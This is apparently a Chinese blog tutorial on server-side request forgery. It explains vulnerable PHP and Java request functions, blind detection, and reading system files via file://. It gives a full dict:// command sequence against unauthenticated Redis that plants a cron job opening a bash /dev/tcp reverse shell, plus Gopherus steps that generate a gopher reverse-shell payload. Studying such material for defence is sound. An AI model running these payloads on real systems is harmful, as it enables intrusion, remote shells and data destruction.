服务器端请求伪造之基本介绍
一.服务器端请求伪造漏洞基础
1.客户端请求
客户端请求指的是由客户端设备(如个人计算机、智能手机、平板电脑等)或软件(浏览器、各种APP)发出的请求,以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输入URL或点击链接时,浏览器会自动发起HTTP请求,请求服务器返回指定的资源。
2.服务器端请求
服务器上的应用程序或服务会提供一些功能接口,比如API接口,用于与其他服务进行数据交互。这些由服务器向其他的服务器发起的请求称之为服务器端请求。
3.服务器端请求伪造
服务器端请求伪造(Server-side Request Forgery)简称SSRF,是指攻击者通过伪造服务器端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。
4.漏洞危害
- 窃取数据:攻击者可以伪造请求以访问服务器内部网络或云环境中的其他服务或资源,以窃取敏感数据。
- 攻击第三方系统:攻击者可以伪造请求以攻击第三方系统,例如访问其他组织的敏感数据或执行拒绝
服务攻击。 - 内部端口扫描:攻击者可以伪造请求以扫描服务器内部端口和服务,以寻找其他可能的漏洞。
- 获取指纹信息:通过获取 web 应用可达服务器服务的指纹信息。
5.漏洞函数
PHP相关函数:这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中注入恶意代码来触发SSRF漏洞。
JAVA:仅支持 HTTP/HTTPS 协议的类:HttpClient 类、HttpURLConnection 类、 OkHttp 类、 Request
类,支持 sun.net.www.protocol 所有协议的类:URLConnection 类、URL 类、ImageIO 类
PHP漏洞相关函数
-
curl_exec
-
格式:curl_exec(resource $ch)
- $ch:由 curl_init() 返回的 cURL 句柄。
- 返回值:如果成功,返回 true 或响应内容;如果失败,返回 false。
-
作用:用于执行一个 cURL 会话。
<?php // 初始化 cURL 会话 $ch = curl_init();// 设置请求的 URL curl_setopt($ch, CURLOPT_URL, 'https://www.baidu.com');// 不输出响应内容,而是将其存储在变量中 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);// 忽略 SSL 验证 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);// 执行 cURL 会话 $response = curl_exec($ch);if ($response === false) {// 输出错误信息echo 'Curl 错误: '. curl_error($ch); } else {// 输出响应内容echo $response; }// 关闭 cURL 会话 curl_close($ch); ?>
-
-
file_get_contents
-
格式:file_get_contents($filename,$use_include_path,$context,$offset,$maxlen)
- $filename:要读取的文件名,可以是本地文件的路径,也可以是一个 URL(如果 allow_url_fopen 配置允许)。
- $use_include_path:可选,是否在 include_path 中搜索文件。
- $context:可选,一个有效的上下文资源,可以用来修改流的行为。
- $offset:可选,开始读取的偏移量。
- $maxlen:可选,读取的最大长度。
-
作用:用于将整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。
<?php // 检查是否通过 POST 方法提交了名为 'url' 的变量 if(isset($_POST['url'])) {// 如果 $_POST['url'] 存在,则使用 file_get_contents 函数读取该 URL 的内容,并将其存储在 $content 变量中$content = file_get_contents($_POST['url']); // 生成一个随机的文件名,文件名由 './images/' 加上 rand() 函数生成的随机数再加上 '.txt' 后缀组成,存储在 $filename 变量中$filename = './images/'.rand().'.txt'; // 将 $content 中的内容写入到 $filename 所指定的文件中file_put_contents($filename,$content); // 输出通过 POST 提交的 URLecho $_POST['url']; // 创建一个 <img> 元素,其 src 属性的值为 $filename,存储在 $img 变量中$img = "<img src=\"".$filename."\"/>"; } // 输出 $img 变量的值,注意:如果 if 条件不满足,$img 可能未被赋值,会导致未定义变量的警告 echo $img; ?>
-
-
fsockopen
-
格式:fsockopen ($hostname, $port, $errno, $errstr, $timeout)
- $hostname:要连接的主机名或 IP 地址。
- $port:要连接的端口号,默认为 -1,需要根据具体协议指定。
- $errno:可选,将存储错误代码。
- $errstr:可选,将存储错误信息。
- $timeout:可选,连接超时时间,默认为 ini_get("default_socket_timeout")。
-
作用:用于打开一个网络或 Unix 套接字连接。
<?php // 使用 fsockopen 函数尝试打开一个到 IP 地址为 170.39.16.134 的主机的 7771 端口的套接字连接 // 同时将可能产生的错误代码存储在 $errno 变量中,错误信息存储在 $errstr 变量中,连接超时时间设置为 30 秒 $fp = fsockopen("170.39.16.134", 7771, $errno, $errstr, 30); // 检查套接字连接是否成功,如果不成功则输出错误信息 if (!$fp) { echo "$errstr ($errno)<br />\n"; } else {// 构建一个 HTTP GET 请求的请求头信息,包括请求方法、请求的主机和连接关闭信息$out = "GET / HTTP/1.1\r\n"; $out.= "Host: 170.39.16.134\r\n"; $out.= "Connection: Close\r\n\r\n"; // 使用 fwrite 函数将构建好的请求信息发送到打开的套接字连接fwrite($fp, $out); // 使用 while 循环,当套接字连接没有到达文件末尾(即数据接收未完成)时,持续接收数据while (!feof($fp)) { // 使用 fgets 函数从套接字中读取最多 128 字节的数据并输出echo fgets($fp, 128); } // 关闭打开的套接字连接,释放资源fclose($fp); } ?>
-
6.判断是否存在
在无回显(Blind)的SSRF攻击中,攻击者无法直接获取目标系统返回的响应,因此需要寻找一种方法来间接地确认攻击是否成功。
-
DNSLog
-
介绍:DNSLog是一种常用的间接确认方法,它通过向一个域名提交请求,然后查看DNS服务器的日志来获取该域名的请求记录,从而确认攻击是否成功。
-
流程:
-
获取带有DNSLog服务地址的URL
-
使目标服务器对该URL进行请求
-
确认目标服务器对该URL进行了请求
-
-
二.服务器端请求伪造漏洞利用
1.读取敏感文件
通过file协议读取敏感文件
- 格式:file://filepath
- 作用:本地文件传输协议,用于访问本地计算机中的文件。
A.读取/etc/passwd
-
介绍:在Linux 中 /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。
B.读取/etc/hosts
-
介绍:hosts文件主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定。可以用文本文件打开!当用户在浏览器中输入一个网址时,系统会首先自动从hosts文件中寻找对应的IP地址,一旦找到,浏览器会立即打开对应网页,如果没有找到,则浏览器会将网址提交DNS服务器进行IP地址解析。简单来说就是负责ip地址与域名快速解析的文件,读取文件可以得到内网所在网段。
2.探测内网服务
通过dict协议探测内网服务
-
格式:dict://
-
作用:dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过用的比较少,所以网上基本没啥资料(包括谷歌上)。在SSRF漏洞利用中,常常用来探测内网的应用信息。
- 当探测到内网网段时,还可以对同C段其它的主机进行探测。
3.攻击内网应用
通过dict协议攻击内网Redis
Redis是一个key-value 存储系统,是跨平台的非关系型数据库。
Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞
攻击内网中的未授权Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户,
攻击者可以通过写定时任务的方式进行 反弹shell 。
-
测试redis是否存在未授权访问漏洞:dict://ip:6379/info
- 如果执行完出现信息则说明存在未授权访问。
A.定时任务反弹Shell
-
定时任务目录
- Centos:在/var/spool/cron/目录下
- Ubuntu:在 /var/spool/cron/crontabs/ 目录下
-
判断服务器信息(file协议)
- Centos:/etc/redhat-release
- Ubuntu:/etc/lsb-release
-
在攻击主机监听一个端口,用以接收受害主机执行的定时任务所反弹回来的shell
-
执行命令:nc -lvnp 1234
PS:如果你的攻击目标是本地靶场,那攻击机可以使用ubuntu;如果攻击目标是公网服务器,则接收反弹shell的机器也需要是公网服务器。
-
-
在存在漏洞的网站依次执行
#清空数据库(慎用)
dict://127.0.0.1:6379/flushall#设置工作目录
dict://127.0.0.1:6379/config set dir /var/spool/cron/#设置保存的文件名
dict://127.0.0.1:6379/config set dbfilename root#设置变量x,如果你是在本地虚拟机ubuntu监听,则下方的ip也需要修改为ubuntu
dict://127.0.0.1:6379/set x "\n*/2 * * * * bash -i &> /dev/tcp/攻击机ip/1234 0>&1\n"#保存
dict://127.0.0.1:6379/save -
执行完等待接收到反弹回来的shell即可。
通过gopher协议攻击内网应用
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
-
Gopherus的运用
-
项目地址:Gopherus下载地址
-
Gopherus的使用流程
-
执行命令:python gopherus.py --exploit redis
-
选择:ReverseShell(反弹shell)
-
填写攻击机的ip:120.17.57.138
PS:攻击机需监听一个端口,比如监听 7771 端口
-
填写相应服务器的定时任务目录:/var/spool/cron/
-
复制生成的内容:从gopher开始复制,到0A结束。
-
修改复制的内容中的端口信息:默认为1234,修改为7771
-
使服务器对修改完的内容进行请求
-
执行完等待接收到反弹回来的shell即可。
-
-
相关文章:
服务器端请求伪造之基本介绍
一.服务器端请求伪造漏洞基础 1.客户端请求 客户端请求指的是由客户端设备(如个人计算机、智能手机、平板电脑等)或软件(浏览器、各种APP)发出的请求,以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输…...
Java反射详解(三)
上一篇博客:Java反射详解(二) 写在前面:大家好!我是晴空๓。如果博客中有不足或者的错误的地方欢迎在评论区或者私信我指正,感谢大家的不吝赐教。我的唯一博客更新地址是:https://ac-fun.blog.c…...
HTML——59. maxlength和disabled属性
<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>maxlength和disabled属性</title></head><body><!--input元素的type属性:(必须要有)1.指定输入内容的类型2.默认为text,单行文本框--> …...
Java中的函数式接口详解(一)
1. 函数式接口 1.1. 定义 函数式接口(Function Interface)就是一个有且仅有一个抽象方法,但是可以有多个非抽象方法的接口。 函数式接口又称为:功能接口。 功能接口为 Lambda 表达式和方法引用(用双冒号 ::来进行方法调用)提供…...
Quo Vadis, Anomaly Detection? LLMs and VLMs in the Spotlight 论文阅读
文章信息: 原文链接:https://arxiv.org/abs/2412.18298 Abstract 视频异常检测(VAD)通过整合大语言模型(LLMs)和视觉语言模型(VLMs)取得了显著进展,解决了动态开放世界…...
redis的学习(二)
4 哈希表 哈希类型中的映射关系通常称为field-value,⽤于区分Redis整体的键值对(key-value), 注意这⾥的value是指field对应的值,不是键(key)对应的值, 4.1 操作命令 hsetÿ…...
简单使用linux
1.1 Linux的组成 Linux 内核:内核是系统的核心,是运行程序和管理 像磁盘和打印机等硬件设备的核心程序。 文件系统 : 文件存放在磁盘等存储设备上的组织方法。 Linux 能支持多种目前浒的文件系统,如 ext4 、 FAT 、 VFAT 、 ISO9660 、 NF…...
springboot541党员学习交流平台(论文+源码)_kaic
摘 要 如今社会上各行各业,都喜欢用自己行业的专属软件工作,互联网发展到这个时候,人们已经发现离不开了互联网。新技术的产生,往往能解决一些老技术的弊端问题。因为传统党员学习交流平台信息管理难度大,容错率低&am…...
心力衰竭相关临床记录数据分析开发技术概述
心力衰竭相关临床记录数据分析开发技术概述 心力衰竭临床记录数据分析的开发涉及多种技术,包括数据采集、处理、建模和可视化等方面。以下是从技术角度对整个开发流程的概述: 数据采集技术 1.1 数据来源 公开数据集:如 UCI 数据存储库、Clin…...
SpringMVC(六)拦截器
目录 1.什么是拦截器 2.拦截器和过滤器有哪些区别 3.拦截器方法 4.单个拦截器的执行流程 5.使用拦截器实现用户登录权限验证(实例) 1.先在html目录下写一个login.html文件 2.在controller包下写一个LoginController文件 3.加拦截器 1.创建一个conf…...
将simpletex 识别的公式 复制到ppt 中
1)点击 复制MathML(word) 2)右击粘贴到任意word 中 3)将word公式粘到 office (2019) 的ppt 中 线上识别链接:SimpleTex - Snip & Get!...
vs 2022 中xml 粘贴为Class 中,序列化出来的xml 的使用
上图是visual studio 2022 中使用的粘贴功能的菜单位置 在生成的xml 中,有些是类似如下类型的 [System.Serializable] [System.Xml.Serialization.XmlType] public class Item {private bool isVisibleField;private bool isVisibleFieldSpecified;[System.Xml.Se…...
短视频平台的视频水印怎么去除?
当你看到某个短视频,觉得内容非常有价值,想要个人收藏以便日后学习或回顾,但发现短视频平台无法直接下载且带有水印时,以下提供的几种方法将帮助你轻松去除水印,获取高清无水印的视频内容。 方法一:使用第…...
《Vue3实战教程》34:Vue3状态管理
如果您有疑问,请观看视频教程《Vue3实战教程》 状态管理 什么是状态管理? 理论上来说,每一个 Vue 组件实例都已经在“管理”它自己的响应式状态了。我们以一个简单的计数器组件为例: vue <script setup> import { r…...
AI大模型系列之七:Transformer架构讲解
目录 Transformer网络是什么? 输入模块结构: 编码器模块结构: 解码器模块: 输出模块结构: Transformer 具体是如何工作的? Transformer核心思想是什么? Transformer的代码架构 自注意力机制是什么…...
每天五分钟机器学习:凸集
本文重点 在SVM中,目标函数是一个凸函数,约束集合是一个凸集。因此,SVM问题可以转化为一个凸规划问题来求解。这使得SVM在实际应用中具有较高的计算效率和准确性。 凸集的定义 凸集是指一个集合中的任意两点之间的线段都完全包含在这个集合中。换句话说,给定集合C中的两…...
【智能算法】改进蚁狮优化算法【matlab】
目录 1 主要内容 2 部分程序 3 程序结果 下载链接 1 主要内容 该程序方法复现《改进蚁狮算法的无线传感器网络覆盖优化》两种改进算法模型,即原始ALO算法的基础上添加了两种改进策略: - 改进1:将原先的间断性边界收缩因子变为连续性边界…...
【Python】闭包
闭包(Closure)是指一个函数记住了并可以访问它的词法作用域(lexical scope),即使这个函数在词法作用域之外执行。 闭包其实就是延伸了作用域的函数,包括被延伸函数主体中引用的非全局变量和局部变量。这些…...
Python跨年烟花
目录 系列文章 写在前面 技术需求 完整代码 下载代码 代码分析 1. 程序初始化与显示设置 2. 烟花类 (Firework) 3. 粒子类 (Particle) 4. 痕迹类 (Trail) 5. 烟花更新与显示 6. 主函数 (fire) 7. 游戏循环 8. 总结 注意事项 写在后面 系列文章 序号直达链接爱…...
QT------------其他工具软件和技术
实现思路 多语言界面程序设计: 使用 QTranslator 类为 QT 应用程序提供多语言支持。将不同语言的翻译文件(.qm 文件)添加到应用程序中,根据用户的语言设置动态加载相应的翻译文件。 QT 样式表(QSS)&#x…...
数据结构9.3 - 文件基础(C++)
目录 1 打开文件字符读写关闭文件 上图源自:https://blog.csdn.net/LG1259156776/article/details/47035583 1 打开文件 法 1法 2ofstream file(path);ofstream file;file.open(path); #include<bits/stdc.h> using namespace std;int main() {char path[]…...
javaEE-文件操作和IO-文件
目录 一.什么是文件 1.文件就是硬盘(磁盘)上的文件。 2.计算机中存储数据的设备: 3.硬盘的物理特征 4.树型结构组织和⽬录 5.文件路径 文件路径有两种表示方式: 6.文件的分类 二、java中文件系统的操作 1.File类中的属性: 2.构造方…...
富芮坤FR800X系列之软件开发工具链(如IDE、编译器、调试器等)
文章目录 一、IDE(集成开发环境)二、编译器三、调试器四、其他辅助工具五、小结 FR800x系列作为一款低功耗蓝牙芯片,其软件开发工具链对于开发者来说至关重要。以下是对FR800x软件开发工具链的详细介绍,包括IDE(集成开…...
微服务-Eureka
Eureka的作用 使用RestTemplate完成远程调用需要手动的生命被调用者的ip和端口,从而能够发起http请求,但是如果有很多个实例也更加不能有效的处理,而且我们又该如何知道这些实例是否健康呢。所以就有了很多的注册中心比如Eureka、Nacos等等。…...
Elasticsearch: 高级搜索
一、match_all匹配所有文档 1、介绍: match_all查询是一个特殊的查询类型,它用于匹配索引中的所有文档,而不考虑任何特定的查询条件。 基本语法: GET /<your-index-name>/_search {"query": {"match_all…...
项目优化之策略模式
目录 策略模式基本概念 策略模式的应用场景 实际项目中具体应用 项目背景: 策略模式解决方案: 计费模块策略模式简要代码 策略模式基本概念 策略模式(Strategy Pattern) 是一种行为型设计模式,把算法的使用放到环境类中,而算…...
HTML——57. type和name属性
<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>type和name属性</title></head><body><!--1.input元素是最常用的表单控件--><!--2.input元素不仅可以在form标签内使用也可以在form标签外使用-…...
LabVIEW 实现自动对焦的开发
自动对焦(Autofocus, AF)技术是通过分析图像或传感器信号,动态调整焦点位置以实现清晰成像或高精度定位的过程。在LabVIEW中,可以通过集成信号采集、数据处理、控制算法和硬件接口模块,实现多种自动对焦方法࿰…...
Ruby 数据类型
Ruby 数据类型 Ruby,作为一种动态、开放源代码的编程语言,以其简洁明了的语法和强大的功能而闻名。在Ruby中,数据类型是编程的核心组成部分,它们决定了变量可以存储的信息种类以及可以对这些信息执行的操作。Ruby是一种类型安全的…...
【MySQL】--- 表的CRUD
Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏: MySQL CRUD : Create(创建), Retrieve(读取),Update(更新),Delete(删除)。 🏠 插入C 🧷 基本…...
算法13、基础二分查找的应用(木根切割等)
🌰1、方程求根 晴问算法 1️⃣即求f(x) x^3 x^2 x - a 0的根,又因为要求精确到0.01,所以eps至少设置为1e-3或者更小; 2️⃣求导得3x^2 2x 1 2x^2 x^2 2x 1 2x^2 (x1)^2 > 0, 所以f(x)是单调递增函数&…...
hive on spark报错解决(基于hive-3.1.3和spark-2.3.0)
相关配置可参考:https://blog.csdn.net/weixin_46389691/article/details/134126254 原作者:月亮给我抄代码 他写的很详细 ERROR : Job failed with java.lang.IllegalAccessError: tried to access method com.google.common.base.Stopwatch.<init&…...
CentOS — 目录管理
文章目录 一、目录结构二、切换目录三、查看目录四、创建目录五、复制目录六、剪切目录七、删除目录 目录也是一种文件。 蓝色目录,绿色可执行文件,红色压缩文件,浅蓝色链接文件,灰色其它文件, 点开头的是隐藏文件&…...
学AI编程的Prompt工程,豆包Marscode
学习链接:Datawhale-AI活动https://www.datawhale.cn/activity/116/23/95?rankingPage1 目录 一、如何使用 二、编写游戏 2.1 创意输入与代码生成 2.2 项目初始化与应用 2.3 创意优化与迭代 三、效果展示 一、如何使用 建议在在vscode上安装marscode插件&a…...
基于微信小程序的面部动作检测系统
引言 本技术文档旨在详细阐述一个基于微信小程序的面部动作检测系统的技术路线、实现方法及关键技术框架。系统的核心功能包括检测用户的左右转头、眨眼和张嘴动作,并根据检测结果逐步引导用户完成任务。为确保系统的安全性和准确性,特别是防止用户通过…...
Java网络套接字
在Java的开发中,有一个很重要!很重要!很重要!的东西,叫做网络套接字,它被广泛的用来二次开发服务,比如大数据中台的服务链路调用等。 它的实现原理是依靠三次握手来完成通信的建立,…...
mapbox基础,测面功能实现
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:mapbox 从入门到精通 文章目录 一、🍀前言1.1 ☘️mapboxgl.Map 地图对象1.2 ☘️Turf 框架二、🍀测面功能实现1. ☘️实现思路2. ☘️代码样例一、🍀…...
如何通过设置失效时间清除本地存储的数据
一、使用localStorage和时间戳(JavaScript) 1. 原理 localStorage是浏览器提供的一种在本地存储数据的方式,数据没有过期时间限制。但是可以通过自己记录时间戳来模拟数据过期的功能。在存储数据时,同时存储一个时间戳ÿ…...
【QT】找不到qwt_plot.h
系统环境: linux 20.04 qt 6.7.2 cmake 3.22 原因: Qwt没有正式的FindQwt.cmake,Qwt也没有提供QwtConfig.cmake。而且cmake不支持qmake的配置特性,也不支持读取mkspecs (.prf)文件。也就是说cmake构建的qt项目不可用qwt。 解决步…...
程序员如何培养技术领导力?
文章精选推荐 1 JetBrains Ai assistant 编程工具让你的工作效率翻倍 2 Extra Icons:JetBrains IDE的图标增强神器 3 IDEA插件推荐-SequenceDiagram,自动生成时序图 4 BashSupport Pro 这个ides插件主要是用来干嘛的 ? 5 IDEA必装的插件&…...
C# 设计模式(创建型模式):原型模式
C# 设计模式(创建型模式):原型模式 引言 在面向对象的设计中,创建型模式关注于对象创建的方式和复杂度。原型模式(Prototype Pattern)是其中一种创建型设计模式,它允许通过复制现有的实例来创…...
Python自学 - 函数初步(内置函数、模块函数、自定义函数)
1 Python自学 - 函数初步(内置函数、模块函数、自定义函数) 1.1 内置函数 几乎所有的编程都会提供一些内置函数,以便完成一些最基本的任务,Python提供了丰富的内置函数,熟悉内置函数可以给工作带来极大便利。 Python官方的内置函数介绍网…...
Mono里运行C#脚本21—mono_image_init_name_cache
前面分析了怎么样加载mscorlib.dll文件,然后把文件数据读取到内存。 接着下来,就会遇到加载整个C#的类型系统,比如System. Object,大体类型如下图所示: 在对CIL编译之前,需要把这些类型全部加载到内存里,以便快捷地访问它们。 mono_image_init_name_cache函数就是完成…...
MySQL中distinct和group by去重的区别
MySQL中distinct和group by去重的区别 在MySQL中,我们经常需要对查询结果进行去重,而DISTINCT和GROUP BY是实现这一功能的两种常见方法。虽然它们在很多情况下可以互换使用,但它们之间还是存在一些差异的。接下来,我们将通过创建测…...
快速上手大模型的对话生成
本项目使用0.5B小模型,结构和大模型别无二致,以方便在如CPU设备上快速学习和上手大模型的对话上传 #mermaid-svg-Z86hUiQZ0hg9BVji {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-Z86hUiQZ0h…...
SpringCloud(一)--SpringCloud简介
一. 引言 在微服务架构日益盛行的今天,Spring Cloud凭借其简单易用、功能强大的特性,成为了众多开发者的首选。本文仅为学习所用,联系侵删。 二. SpringCloud概述 2.1 定义 Spring Cloud是一系列框架的有序集合,它巧妙地…...
常见的 Redis 面试题
1. Redis 是什么?它解决了哪些问题? Redis 是一个开源的内存数据结构存储系统,可以用作数据库、缓存和消息中间件。它主要用于解耦应用程序的不同组件或服务,支持高吞吐量和低延迟的消息传递。解决了系统之间的同步调用导致的性能…...
面试准备备备备
职业技能 放到简历的黄金位置(HR刷选简历的重要参考) 基本准则:写在简历上的必须能聊,不然就别写 参考公式:职业技能 必要技术 其他技术 针对性的引导面试官(让他问一些你想让他问的) 寻找合…...
GeoIP + Nginx:实现网站的地域访问控制
1. 引言 在全球化的互联网环境中,地域访问控制已成为许多企业和个人网站管理的重要需求。通过限制特定地区的访问,网站管理员可以保护资源、提高安全性并优化用户体验。本文将介绍如何使用GeoIP和Nginx实现地域访问控制,并提供两种情况的详细…...
打造三甲医院人工智能矩阵新引擎(一):文本大模型篇--基于GPT-4o的探索
一、引言 当今时代,人工智能技术正以前所未有的速度蓬勃发展,深刻且广泛地渗透至各个领域,医疗行业更是这场变革的前沿阵地。在人口老龄化加剧、慢性疾病患病率上升以及人们对健康需求日益增长的大背景下,三甲医院作为医疗体系的核…...